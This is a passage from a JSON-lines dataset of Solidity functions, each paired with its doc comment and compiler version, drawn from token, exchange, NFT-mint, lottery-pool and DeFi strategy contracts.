true;\r\n\r\n feeExiste = true;\r\n break;\r\n }\r\n }\r\n\r\n // fee not found => add as new fee\r\n if (!feeExiste){\r\n _Fee memory fee;\r\n\r\n fee.id = (feesCount + 1);\r\n fee.name = _name;\r\n fee.wallet = _feeWallet;\r\n fee.percent = _percent;\r\n fee.active = true;\r\n\r\n fees.push(fee);\r\n }\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev users can invoke this function to open a new pool.\r\n * @param _token the ERC20 token of the reward.\r\n * @param _reward the amount of reward.\r\n * @param _weight determines how the pool ranks in frontend.\r\n * @param _expiry the timestamp the pool expires. when a pool expires\r\n * the owner will have to pay to renew it or it won't accept new entries.\r\n **/", "function_code": "function openNewPool (IERC20 _token, address _currencyToken, uint112 _exchangeRate,\r\n uint _reward, uint _weight, uint64 _expiry, bytes32 name) external returns (uint pid){\r\n\r\n // require (_weight >= minPoolCost, \"Need more YouBetToken\");\r\n\r\n address poolOwner = msg.sender;\r\n\r\n _reward = _safeTokenTransfer(poolOwner, address(_token), _reward, address(0));\r\n\r\n if(_weight>0) {\r\n YouBetToken.safeTransferFrom(poolOwner, address(this), _weight);\r\n YouBetToken.safeTransfer(feeTo, _weight);\r\n } \r\n \r\n pid = _openNewPool(poolOwner, _token, _currencyToken, _exchangeRate,\r\n _reward, _weight, _expiry);\r\n if(name != ''){\r\n _renamePool(pid, name);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev users can invoke this function to purchase tokens.\r\n * @param _pid the pool id where the user is purchasing\r\n * @param _purchaseAmount amount in token to purchase\r\n **/", "function_code": "function buyTokenWithETH (uint _pid, uint _purchaseAmount, \r\n address referrer) external payable {\r\n address _customer = msg.sender;\r\n require (pools[_pid].status == PoolStatus.OPEN, \"lottery pool not open\");\r\n require (now < pools[_pid].expiry, \"lottery pool expired\");\r\n\r\n IERC20 _pooltoken = IERC20(pools[_pid].token);\r\n address _poolCurrencyToken = pools[_pid].currencyToken;\r\n\r\n require (_poolCurrencyToken==WETH); \r\n\r\n uint cost = _purchaseAmount.mul(pools[_pid].exchangeRate)/1e18;\r\n\r\n IWETH(WETH).deposit{value: cost}();\r\n\r\n if(referrer != address(0)){\r\n uint commission = cost.mul(perOrderCommissionRate)/1e5;\r\n IERC20(WETH).safeTransfer(referrer, commission);\r\n // will not undeflow\r\n cost -= commission;\r\n emit Commission(referrer, _customer, WETH, commission);\r\n }\r\n\r\n uint _balance = cost.add(pools[_pid].balance);\r\n uint _rewardBalance = _pooltoken.balanceOf(address(this));\r\n require(_balance <= uint112(-1) && _rewardBalance <= uint112(-1), 'OVERFLOW');\r\n pools[_pid].balance = uint112(_balance);\r\n\r\n _pooltoken.safeTransfer(_customer, _purchaseAmount);\r\n\r\n // will not overflow\r\n uint112 _newReward = uint112(uint(pools[_pid].reward).sub(_purchaseAmount));\r\n uint112 _rewardRealBalance = uint112(_rewardBalance);\r\n pools[_pid].reward = _newReward<_rewardRealBalance?_newReward:_rewardRealBalance;\r\n\r\n if(referrer != address(0)) {\r\n uint newReferrarSales = _purchaseAmount.add(poolReferrerSales[_pid][referrer]);\r\n require(newReferrarSales <= uint112(-1), 'OVERFLOW');\r\n poolReferrerSales[_pid][referrer] = newReferrarSales;\r\n if(newReferrarSales > pools[_pid].winnerCandidateSales){\r\n pools[_pid].winnerCandidateSales = uint112(newReferrarSales);\r\n pools[_pid].winnerCandidate = referrer;\r\n }\r\n\r\n }\r\n\r\n emit Purchase(_pid, _customer, _purchaseAmount, \r\n address(_pooltoken), _poolCurrencyToken, cost);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev allows anyone to draw the winning ticket for an eligible pool.\r\n * @param _pid the pool id where user is drawing.\r\n **/", "function_code": "function closePool (uint _pid) external {\r\n address _poolOwner = pools[_pid].owner;\r\n\r\n require (pools[_pid].status==PoolStatus.OPEN, \"Pool must be open\");\r\n\r\n require (_poolOwner==msg.sender||msg.sender==owner(), \"unauthorized\");\r\n\r\n IERC20 _pooltoken = IERC20(pools[_pid].token);\r\n IERC20 _poolCurrencyToken = IERC20(pools[_pid].currencyToken);\r\n uint _poolReward = pools[_pid].reward;\r\n uint _poolExchangeRate = pools[_pid].exchangeRate;\r\n uint _poolBalance = pools[_pid].balance;\r\n\r\n uint _fees = _poolBalance/100;\r\n uint _contestReward = _poolBalance.mul(contestRewardRate)/1e5;\r\n uint _poolOwnerRevenue = _poolBalance - _fees - _contestReward;\r\n\r\n _poolCurrencyToken.safeTransfer(_poolOwner, _poolOwnerRevenue);\r\n _pooltoken.safeTransfer(_poolOwner, _poolReward);\r\n\r\n _poolCurrencyToken.safeTransfer(feeTo, _fees);\r\n\r\n processContestWinner(_pid, _contestReward);\r\n\r\n }", "version": "0.6.12"} {"comment": "// function transferFrom(address _from, address _to, uint256 _id, uint256 _value) external {\n// _transferFrom(_from, _to, _id, _value);\n// }", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external {\n _transferFrom(_from, _to, _id, _value);\n require(_checkERC1155AndCallSafeTransfer(msg.sender == address(_sandContract) ? _from : msg.sender, _from, _to, _id, _value, _data, false, false));\n }", "version": "0.5.2"} {"comment": "// function batchTransferFrom(address _from, address _to, uint256[]calldata _ids, uint256[] calldata _values) external {\n// _batchTransferFrom(_from, _to, _ids, _values);\n// }", "function_code": "function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external {\n _batchTransferFrom(_from, _to, _ids, _values);\n require(_checkERC1155AndCallSafeBatchTransfer(msg.sender == address(_sandContract) ? _from : msg.sender, _from, _to, _ids, _values, _data));\n }", "version": "0.5.2"} {"comment": "// TODO enable ?", "function_code": "function extractERC721(address _sender, uint256 _id, string calldata _uri) external {\n require(msg.sender == _sender || msg.sender == address(_sandContract) || mSuperOperators[msg.sender], \"require meta approval\");\n require(erc1155_metadataURIHashes[_id] != 0, \"Not an ERC1155 Token\");\n require(erc1155_metadataURIHashes[_id] == keccak256(abi.encodePacked(_uri)), \"URI hash does not match\");\n _burnERC1155(_sender, _id, 1);\n address creator = creatorOf(_id);\n uint256 newTokenId = uint256(creator) * 2**(256-160) + 0 * 2**(256-160-8) + nextSubId;\n nextSubId++;\n _mint(_uri, 1, creator, _sender, newTokenId, \"\");\n emit Extraction(_id, newTokenId, _uri);\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev transfer token for a specified address with froze status checking\r\n * @param _toMulti The addresses to transfer to.\r\n * @param _values The array of the amount to be transferred.\r\n */", "function_code": "function transferMultiAddress(address[] _toMulti, uint256[] _values) public whenNotPaused returns (bool) {\r\n require(!frozenAccount[msg.sender]);\r\n assert(_toMulti.length == _values.length);\r\n\r\n uint256 i = 0;\r\n while ( i < _toMulti.length) {\r\n require(_toMulti[i] != address(0));\r\n require(_values[i] <= balances[msg.sender]);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[msg.sender] = balances[msg.sender].sub(_values[i]);\r\n balances[_toMulti[i]] = balances[_toMulti[i]].add(_values[i]);\r\n Transfer(msg.sender, _toMulti[i], _values[i]);\r\n\r\n i = i.add(1);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Transfer tokens from one address to another with checking the frozen status\r\n * @param _from address The address which you want to send tokens from\r\n * @param _toMulti address[] The addresses which you want to transfer to in boundle\r\n * @param _values uint256[] the array of amount of tokens to be transferred\r\n */", "function_code": "function transferMultiAddressFrom(address _from, address[] _toMulti, uint256[] _values) public whenNotPaused returns (bool) {\r\n require(!frozenAccount[_from]);\r\n assert(_toMulti.length == _values.length);\r\n \r\n uint256 i = 0;\r\n while ( i < _toMulti.length) {\r\n require(_toMulti[i] != address(0));\r\n require(_values[i] <= balances[_from]);\r\n require(_values[i] <= allowed[_from][msg.sender]);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n balances[_from] = balances[_from].sub(_values[i]);\r\n balances[_toMulti[i]] = balances[_toMulti[i]].add(_values[i]);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_values[i]);\r\n Transfer(_from, _toMulti[i], _values[i]);\r\n\r\n i = i.add(1);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "// Tokens sold by crowdsale contract will be frozen ultil crowdsale ends", "function_code": "function txAllowed(address sender, uint256 amount) private returns (bool isAllowed) {\r\n if (timelock[sender] > block.timestamp) {\r\n return isBalanceFree(sender, amount);\r\n } else {\r\n if (frozenBalances[sender] > 0) frozenBalances[sender] = 0;\r\n return true;\r\n }\r\n \r\n }", "version": "0.7.4"} {"comment": "/*\n Current code intentionally prevents governance re-initialization.\n This may be a problem in an upgrade situation, in a case that the upgrade-to implementation\n performs an initialization (for real) and within that calls initGovernance().\n \n Possible workarounds:\n 1. Clearing the governance info altogether by changing the MAIN_GOVERNANCE_INFO_TAG.\n This will remove existing main governance information.\n 2. Modify the require part in this function, so that it will exit quietly\n when trying to re-initialize (uncomment the lines below).\n */", "function_code": "function initGovernance()\n internal\n {\n string memory tag = getGovernanceTag();\n GovernanceInfoStruct storage gub = governanceInfo[tag];\n // TODO(Remo,01/09/2021): Consider un-commenting lines below.\n // if (gub.initialized) {\n // return;\n // }\n require(!gub.initialized, \"ALREADY_INITIALIZED\");\n gub.initialized = true; // to ensure addGovernor() won't fail.\n // Add the initial governer.\n addGovernor(msg.sender);\n }", "version": "0.6.11"} {"comment": "/* Send tokens */", "function_code": "function transfer(address _to, uint256 _value) public returns(bool){\r\n if (_to == 0x0) return false; // Prevent transfer to 0x0 address. Use burn() instead\r\n if (_value <= 0) return false;\r\n if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough\r\n if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows\r\n balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n\treturn true;\r\n }", "version": "0.4.26"} {"comment": "/* Transfer tokens */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {\r\n if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead\r\n if (_value <= 0) revert();\r\n if (balanceOf[_from] < _value) revert(); // Check if the sender has enough\r\n if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows\r\n if (_value > allowance[_from][msg.sender]) revert(); // Check allowance\r\n balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender\r\n balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/* Destruction of the token */", "function_code": "function burn(uint256 _value) public returns(bool success) {\r\n if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough\r\n if (_value <= 0) revert();\r\n balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply\r\n emit Burn(msg.sender, _value);\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/// @dev Cancels the input order.\n/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.\n/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.\n/// @param cancelTakerTokenAmount Desired amount of takerToken to cancel in order.\n/// @return Amount of takerToken cancelled.", "function_code": "function cancelOrder(\r\n address[5] orderAddresses,\r\n uint[6] orderValues,\r\n uint cancelTakerTokenAmount)\r\n public\r\n onlyWhitelisted\r\n returns (uint)\r\n {\r\n Order memory order = Order({\r\n maker: orderAddresses[0],\r\n taker: orderAddresses[1],\r\n makerToken: orderAddresses[2],\r\n takerToken: orderAddresses[3],\r\n feeRecipient: orderAddresses[4],\r\n makerTokenAmount: orderValues[0],\r\n takerTokenAmount: orderValues[1],\r\n makerFee: orderValues[2],\r\n takerFee: orderValues[3],\r\n expirationTimestampInSec: orderValues[4],\r\n orderHash: getOrderHash(orderAddresses, orderValues)\r\n });\r\n\r\n require(order.maker == msg.sender);\r\n require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && cancelTakerTokenAmount > 0);\r\n\r\n if (block.timestamp >= order.expirationTimestampInSec) {\r\n LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash);\r\n return 0;\r\n }\r\n\r\n uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash));\r\n uint cancelledTakerTokenAmount = min256(cancelTakerTokenAmount, remainingTakerTokenAmount);\r\n if (cancelledTakerTokenAmount == 0) {\r\n LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash);\r\n return 0;\r\n }\r\n\r\n cancelled[order.orderHash] = safeAdd(cancelled[order.orderHash], cancelledTakerTokenAmount);\r\n\r\n LogCancel(\r\n order.maker,\r\n order.feeRecipient,\r\n order.makerToken,\r\n order.takerToken,\r\n getPartialAmount(cancelledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount),\r\n cancelledTakerTokenAmount,\r\n keccak256(order.makerToken, order.takerToken),\r\n order.orderHash\r\n );\r\n return cancelledTakerTokenAmount;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Synchronously executes multiple fill orders in a single transaction.\n/// @param orderAddresses Array of address arrays containing individual order addresses.\n/// @param orderValues Array of uint arrays containing individual order values.\n/// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders.\n/// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting.\n/// @param v Array ECDSA signature v parameters.\n/// @param r Array of ECDSA signature r parameters.\n/// @param s Array of ECDSA signature s parameters.", "function_code": "function batchFillOrders(\r\n address[5][] orderAddresses,\r\n uint[6][] orderValues,\r\n uint[] fillTakerTokenAmounts,\r\n bool shouldThrowOnInsufficientBalanceOrAllowance,\r\n uint8[] v,\r\n bytes32[] r,\r\n bytes32[] s)\r\n public\r\n {\r\n for (uint i = 0; i < orderAddresses.length; i++) {\r\n fillOrder(\r\n orderAddresses[i],\r\n orderValues[i],\r\n fillTakerTokenAmounts[i],\r\n shouldThrowOnInsufficientBalanceOrAllowance,\r\n v[i],\r\n r[i],\r\n s[i]\r\n );\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Synchronously executes multiple fillOrKill orders in a single transaction.\n/// @param orderAddresses Array of address arrays containing individual order addresses.\n/// @param orderValues Array of uint arrays containing individual order values.\n/// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders.\n/// @param v Array ECDSA signature v parameters.\n/// @param r Array of ECDSA signature r parameters.\n/// @param s Array of ECDSA signature s parameters.", "function_code": "function batchFillOrKillOrders(\r\n address[5][] orderAddresses,\r\n uint[6][] orderValues,\r\n uint[] fillTakerTokenAmounts,\r\n uint8[] v,\r\n bytes32[] r,\r\n bytes32[] s)\r\n public\r\n {\r\n for (uint i = 0; i < orderAddresses.length; i++) {\r\n fillOrKillOrder(\r\n orderAddresses[i],\r\n orderValues[i],\r\n fillTakerTokenAmounts[i],\r\n v[i],\r\n r[i],\r\n s[i]\r\n );\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Calculates Keccak-256 hash of order with specified parameters.\n/// @param orderAddresses Array of order's maker, taker, makerToken, takerToken, and feeRecipient.\n/// @param orderValues Array of order's makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt.\n/// @return Keccak-256 hash of order.", "function_code": "function getOrderHash(address[5] orderAddresses, uint[6] orderValues)\r\n public\r\n constant\r\n returns (bytes32)\r\n {\r\n return keccak256(\r\n address(this),\r\n orderAddresses[0], // maker\r\n orderAddresses[1], // taker\r\n orderAddresses[2], // makerToken\r\n orderAddresses[3], // takerToken\r\n orderAddresses[4], // feeRecipient\r\n orderValues[0], // makerTokenAmount\r\n orderValues[1], // takerTokenAmount\r\n orderValues[2], // makerFee\r\n orderValues[3], // takerFee\r\n orderValues[4], // expirationTimestampInSec\r\n orderValues[5] // salt\r\n );\r\n }", "version": "0.4.18"} {"comment": "/// @dev Checks if rounding error > 0.1%.\n/// @param numerator Numerator.\n/// @param denominator Denominator.\n/// @param target Value to multiply with numerator/denominator.\n/// @return Rounding error is present.", "function_code": "function isRoundingError(uint numerator, uint denominator, uint target)\r\n public\r\n constant\r\n returns (bool)\r\n {\r\n uint remainder = mulmod(target, numerator, denominator);\r\n if (remainder == 0) return false; // No rounding error.\r\n\r\n uint errPercentageTimes1000000 = safeDiv(\r\n safeMul(remainder, 1000000),\r\n safeMul(numerator, target)\r\n );\r\n return errPercentageTimes1000000 > 1000;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Get token balance of an address.\n/// @param token Address of token.\n/// @param owner Address of owner.\n/// @return Token balance of owner.", "function_code": "function getBalance(address token, address owner)\r\n internal\r\n constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit.\r\n returns (uint)\r\n {\r\n return Token(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); // Limit gas to prevent reentrancy\r\n }", "version": "0.4.18"} {"comment": "/// @dev Get allowance of token given to TokenTransferProxy by an address.\n/// @param token Address of token.\n/// @param owner Address of owner.\n/// @return Allowance of token given to TokenTransferProxy by owner.", "function_code": "function getAllowance(address token, address owner)\r\n internal\r\n constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit.\r\n returns (uint)\r\n {\r\n return Token(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY_CONTRACT); // Limit gas to prevent reentrancy\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Decreaese locking time\r\n * @param _affectiveAddress Address of the locked address\r\n * @param _decreasedTime Time in days to be affected\r\n */", "function_code": "function decreaseLockingTimeByAddress(address _affectiveAddress, uint _decreasedTime) external onlyOwner returns(bool){\r\n require(_decreasedTime > 0 && time[_affectiveAddress] > now, \"Please check address status or Incorrect input\");\r\n time[_affectiveAddress] = time[_affectiveAddress] - (_decreasedTime * 1 days);\r\n return true;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Increase locking time\r\n * @param _affectiveAddress Address of the locked address\r\n * @param _increasedTime Time in days to be affected\r\n */", "function_code": "function increaseLockingTimeByAddress(address _affectiveAddress, uint _increasedTime) external onlyOwner returns(bool){\r\n require(_increasedTime > 0 && time[_affectiveAddress] > now, \"Please check address status or Incorrect input\");\r\n time[_affectiveAddress] = time[_affectiveAddress] + (_increasedTime * 1 days);\r\n return true;\r\n }", "version": "0.5.8"} {"comment": "/// @notice Returns the position information associated with a given token ID.\n/// @dev Throws if the token ID is not valid.\n/// @param tokenId The ID of the token that represents the position\n/// @return nonce The nonce for permits\n/// @return operator The address that is approved for spending\n/// @return token0 The address of the token0 for a specific pool\n/// @return token1 The address of the token1 for a specific pool\n/// @return fee The fee associated with the pool\n/// @return tickLower The lower end of the tick range for the position\n/// @return tickUpper The higher end of the tick range for the position\n/// @return liquidity The liquidity of the position\n/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position\n/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position\n/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation\n/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation", "function_code": "function positions(uint256 tokenId)\r\n external\r\n view\r\n returns (\r\n uint96 nonce, // [0]\r\n address operator, // [1]\r\n address token0, // [2]\r\n address token1, // [3]\r\n uint24 fee, // [4]\r\n int24 tickLower, // [5]\r\n int24 tickUpper, // [6]\r\n uint128 liquidity, // [7]\r\n uint256 feeGrowthInside0LastX128, // [8]\r\n uint256 feeGrowthInside1LastX128, // [9]\r\n uint128 tokensOwed0, // [10]\r\n uint128 tokensOwed1 // [11]\r\n );", "version": "0.6.12"} {"comment": "/**\r\n * @dev add liquidity to LP\r\n */", "function_code": "function _adLp(uint256 ethAmount, address tokenAddress)\r\n private\r\n returns (\r\n uint256 amountToken,\r\n uint256 amountETH,\r\n uint256 liquidity\r\n )\r\n {\r\n uint256 reserveA;\r\n uint256 reserveB;\r\n\r\n (reserveA, reserveB) = UniswapV2Library.getReserves(\r\n _uniswapFactory,\r\n _weth,\r\n tokenAddress\r\n );\r\n\r\n uint256 tokenAmount = UniswapV2Library.quote(\r\n ethAmount,\r\n reserveA,\r\n reserveB\r\n );\r\n\r\n TransferHelper.safeApprove(\r\n tokenAddress,\r\n _uniswapRouterAddress,\r\n tokenAmount\r\n );\r\n\r\n (amountToken, amountETH, liquidity) = _uniswapRouter02.addLiquidityETH{\r\n value: ethAmount\r\n }(\r\n tokenAddress,\r\n tokenAmount,\r\n tokenAmount,\r\n 1,\r\n address(this),\r\n block.timestamp + 1 days\r\n );\r\n\r\n emit onLpvAdded(tokenAmount, amountETH, liquidity, tokenAddress);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev update the internal list of purchases\r\n */", "function_code": "function _updateBalance(uint256 ethAmount, uint256 vPUREAmount) private {\r\n _vCrowdsaleBalance[msg.sender].ethAmount = _vCrowdsaleBalance[msg\r\n .sender]\r\n .ethAmount\r\n .add(ethAmount);\r\n // safetly check for the total amount of ETH bought by a single user\r\n // it should not exceed 50 ETH\r\n require(\r\n _vCrowdsaleBalance[msg.sender].ethAmount <= _ETHMAX * 10**18,\r\n \"The total amount of ETH exceeded maximul value: 50 ETH\"\r\n );\r\n\r\n _vCrowdsaleBalance[msg.sender].vPUREAmount = _vCrowdsaleBalance[msg\r\n .sender]\r\n .vPUREAmount\r\n .add(vPUREAmount);\r\n }", "version": "0.6.6"} {"comment": "/// @inheritdoc IPeripheryPaymentsWithFee", "function_code": "function unwrapWETH9WithFee(\n uint256 amountMinimum,\n address recipient,\n uint256 feeBips,\n address feeRecipient\n ) public payable override {\n require(feeBips > 0 && feeBips <= 100);\n\n uint256 balanceWETH9 = IWETH9(WETH9).balanceOf(address(this));\n require(balanceWETH9 >= amountMinimum, 'Insufficient WETH9');\n\n if (balanceWETH9 > 0) {\n IWETH9(WETH9).withdraw(balanceWETH9);\n uint256 feeAmount = balanceWETH9.mul(feeBips) / 10_000;\n if (feeAmount > 0) TransferHelper.safeTransferETH(feeRecipient, feeAmount);\n TransferHelper.safeTransferETH(recipient, balanceWETH9 - feeAmount);\n }\n }", "version": "0.7.6"} {"comment": "/// @dev presale mint for whitelisted", "function_code": "function presalemint(uint256 tokens, bytes32[] calldata merkleProof) public payable {\r\n require(!paused, \"SHIBNFT: oops contract is paused\");\r\n require(preSale, \"SHIBNFT: Presale Hasn't started yet\");\r\n require(MerkleProof.verify(merkleProof, merkleRoot, keccak256(abi.encodePacked(msg.sender))), \"SHIBNFT: You are not Whitelisted\");\r\n uint256 supply = totalSupply();\r\n uint256 ownerTokenCount = balanceOf(_msgSender());\r\n require(ownerTokenCount + tokens <= MaxperWalletWl, \"SHIBNFT: Max NFT Per Wallet exceeded\");\r\n require(tokens > 0, \"SHIBNFT: need to mint at least 1 NFT\");\r\n require(tokens <= MaxperTxWl, \"SHIBNFT: max mint per Tx exceeded\");\r\n require(supply + tokens <= WlSupply, \"SHIBNFT: Whitelist MaxSupply exceeded\");\r\n require(msg.value >= wlcost * tokens, \"SHIBNFT: insufficient funds\");\r\n\r\n _safeMint(_msgSender(), tokens);\r\n \r\n }", "version": "0.8.7"} {"comment": "/// @dev use it for giveaway and mint for yourself", "function_code": "function gift(uint256 _mintAmount, address destination) public onlyOwner {\r\n require(_mintAmount > 0, \"need to mint at least 1 NFT\");\r\n uint256 supply = totalSupply();\r\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\r\n\r\n _safeMint(destination, _mintAmount);\r\n \r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Migrate all funds from old strategy to new strategy\n * Requirements:\n * - Only owner of this contract call this function\n * - This contract is not locked\n * - Pending strategy is set\n */", "function_code": "function migrateFunds() external onlyOwner {\n require(\n unlockTime <= block.timestamp &&\n unlockTime + 1 days >= block.timestamp,\n \"Function locked\"\n );\n require(\n token.balanceOf(address(strategy)) > 0,\n \"No balance to migrate\"\n );\n require(pendingStrategy != address(0), \"No pendingStrategy\");\n uint256 _amount = token.balanceOf(address(strategy));\n\n token.safeTransferFrom(address(strategy), pendingStrategy, _amount);\n // Remove balance of old strategy token\n IERC20 oldStrategyToken = IERC20(address(strategy));\n oldStrategyToken.safeTransfer(\n address(strategy),\n oldStrategyToken.balanceOf(address(this))\n );\n\n // Set new strategy\n address oldStrategy = address(strategy);\n strategy = IStrategy(pendingStrategy);\n pendingStrategy = address(0);\n canSetPendingStrategy = true;\n\n unlockTime = 0; // Lock back this function\n emit MigrateFunds(oldStrategy, address(strategy), _amount);\n }", "version": "0.7.6"} {"comment": "/*****************************************************************************\n * Well done, you found it. Now can you solve the puzzle and become a student?\n * If you do pass, how good a student will you be?\n *\n *\n * Notes:\n * * Be careful sharing or copying answers, they need to be personalised\n * for each student and some may change with time.\n * * If you don't know an answer use\n * 0x0000000000000000000000000000000000000000000000000000000000000000\n ******************************************************************************/", "function_code": "function mint(\n bytes32 _personalisedAnswer1,\n bytes32 _personalisedAnswer2,\n bytes32 _personalisedAnswer3,\n bytes32 _personalisedAnswer4,\n bytes32 _personalisedAnswer5\n ) external payable {\n if (msg.sender.isContract()) {\n revert NoContractCall();\n }\n if (!entrancePuzzleOpen) {\n revert PuzzleNotReady();\n }\n uint supply = _owners.length;\n if (supply >= MAX_SUPPLY) {\n revert SupplyExhausted();\n }\n if (msg.value != entrancePuzzlePrice) {\n revert InvalidAmountSent();\n }\n uint _answer4 = (block.number - schoolBuilt) / 1650;\n string memory _answer5 = Base64.ENCODE(\"Encode this\");\n\n bool answer1Correct = personaliseString(answer1, msg.sender) == _personalisedAnswer1;\n bool answer2Correct = personaliseNumber(_answer2, msg.sender) == _personalisedAnswer2;\n bool answer3Correct = personaliseNumber(_answer3, msg.sender) == _personalisedAnswer3;\n bool answer4Correct = personaliseNumber(_answer4, msg.sender) == _personalisedAnswer4;\n bool answer5Correct = personaliseString(_answer5, msg.sender) == _personalisedAnswer5;\n\n if (!(answer1Correct ||\n answer2Correct ||\n answer3Correct ||\n answer4Correct ||\n answer5Correct)) {\n revert YouFailed();\n }\n \n _internalMint(\n supply,\n answer1Correct,\n answer2Correct,\n answer3Correct,\n answer4Correct,\n answer5Correct\n );\n }", "version": "0.8.9"} {"comment": "// Optional: Give your student a name and it will appear in the image.\n// Free but you'll have to pay gas.\n// Name must be 1-12 alphanumeric characters or space.", "function_code": "function setStudentName(string calldata _studentName, uint256 _tokenId) external {\n if (msg.sender != ownerOf(_tokenId)) revert NotOwnerOfToken();\n bytes memory nameBytes = bytes(_studentName);\n uint256 nameLength = nameBytes.length;\n if (nameLength == 0) revert InvalidName();\n if (nameLength > 12) revert InvalidName();\n for (uint256 i; i < nameLength;) {\n bytes1 char = nameBytes[i];\n if (!(char > 0x2F && char < 0x3A) && // 0-9\n !(char > 0x40 && char < 0x5B) && // A-Z\n !(char > 0x60 && char < 0x7B) && // a-z\n !(char == 0x20)) { // space\n revert InvalidName();\n }\n unchecked { ++i; }\n }\n studentNames[_tokenId] = _studentName;\n }", "version": "0.8.9"} {"comment": "/*****************************************************************\n ************************ Future puzzles *************************\n * Some puzzles will be free (enter 0 in the amount field)\n * although you can donate if you are enjoying the school.\n * More complex puzzles and metadata that take us considerable\n * time to build may have a small fee.\n ****************************************************************/", "function_code": "function attemptPuzzle(\n uint256 _tokenId,\n uint _puzzleIndex,\n bytes32 _personalisedAnswer1,\n bytes32 _personalisedAnswer2,\n bytes32 _personalisedAnswer3,\n bytes32 _personalisedAnswer4,\n bytes32 _personalisedAnswer5\n ) external payable {\n if (msg.sender.isContract()) {\n revert NoContractCall();\n }\n if (_puzzleIndex >= puzzles.length || !puzzles[_puzzleIndex].open) {\n revert PuzzleNotReady();\n }\n if (msg.value < puzzles[_puzzleIndex].puzzlePrice) {\n revert InvalidAmountSent();\n }\n if (msg.sender != ownerOf(_tokenId)) {\n revert NotOwnerOfToken();\n }\n if (_alreadyAttempted(_puzzleIndex, _tokenId)) {\n revert PuzzleAlreadyAttempted();\n }\n address puzzleAddress = puzzles[_puzzleIndex].puzzleAddress;\n\n uint8 puzzleScore = SchoolOfHardBlocksPuzzle(puzzleAddress).attemptPuzzle(\n msg.sender,\n _personalisedAnswer1,\n _personalisedAnswer2,\n _personalisedAnswer3,\n _personalisedAnswer4,\n _personalisedAnswer5\n );\n scores[_tokenId] += puzzleScore;\n _setAttempted(_puzzleIndex, _tokenId);\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Determines if the byte encoded description of a position(s) is valid.\n * The description will only make sense in context of the product.\n * @dev This function should be overwritten in inheriting Product contracts.\n * @param positionDescription The description to validate.\n * @return isValid True if is valid.\n */", "function_code": "function isValidPositionDescription(bytes memory positionDescription) public view virtual override returns (bool isValid) {\n // check length\n // solhint-disable-next-line var-name-mixedcase\n uint256 ADDRESS_SIZE = 20;\n // must be concatenation of one or more addresses\n if (positionDescription.length == 0 || positionDescription.length % ADDRESS_SIZE != 0) return false;\n address lqtyStaking = _troveManager.lqtyStaking();\n address stabilityPool = _troveManager.stabilityPool();\n // check all addresses in list\n for(uint256 offset = 0; offset < positionDescription.length; offset += ADDRESS_SIZE) {\n // get next address\n address positionContract;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n positionContract := 